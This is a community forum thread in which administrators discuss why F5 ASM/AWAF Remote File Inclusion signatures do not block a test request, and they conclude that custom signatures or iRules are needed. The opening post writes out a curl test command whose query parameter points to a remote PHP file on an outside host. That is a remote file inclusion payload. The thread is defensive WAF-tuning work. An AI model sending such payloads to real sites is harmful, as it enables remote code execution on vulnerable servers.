Forum Discussion

Nikoolayy1's avatar
Jul 21, 2023
Solved

F5 ASM/AWAF Remote File Inclusion signatures do not block http:// or https:// in the form parameter

Hello,

 

I tested some pentesting attacks like "curl https://x.x.x.x/?niki=http://1.1.1.1/file.php -kv" and the RFI/RFE attack does not get blocked even with RFI signatures beeing enabled as mentioned in Article Detail (f5.com) or Mitigating Remote File Inclusion attacks with BIG-IP ASM (f5.com) 

 

I had to create a custom signature but why as it is a simple signature to block this traffic ?

 

The custom signature works, so that is good 😀

 

  • I tested this on other vendors and it is the same as the info I got is that there are no default signatures for this RFI attack as it will cause many issues an false positives, so you need to make a custom signature/irule to block this for the specific vunrable parameter.

     

    Outside of that for XC Distributed Cloud the Service policy rules seem the way to go for configuring something like signatures:

     

     

3 Replies

  • To my total astonishment I can reproduce this.

    All Remote File Include Signatures are enforced in this policy.

    And the ASM Request Log shows the malicious request just passes.

    I am afraid we are missing something fundamental here 🙂

     

  • Yes, maybe I am doing the test wrong, still another big issue is that Nginx App Protect also has the option for custom signatures (Configuration | NGINX Ingress Controller) but for now XC Distributed cloud does not and even with all signatures enabled and not in staging the RFI attack is not blocked on XC.

     

    As a test backend with metasploitable 3 you can exploit this vunrability as seen in your picture with the query "page" parameter.

     

     

     

  • I tested this on other vendors and it is the same as the info I got is that there are no default signatures for this RFI attack as it will cause many issues an false positives, so you need to make a custom signature/irule to block this for the specific vunrable parameter.

     

    Outside of that for XC Distributed Cloud the Service policy rules seem the way to go for configuring something like signatures: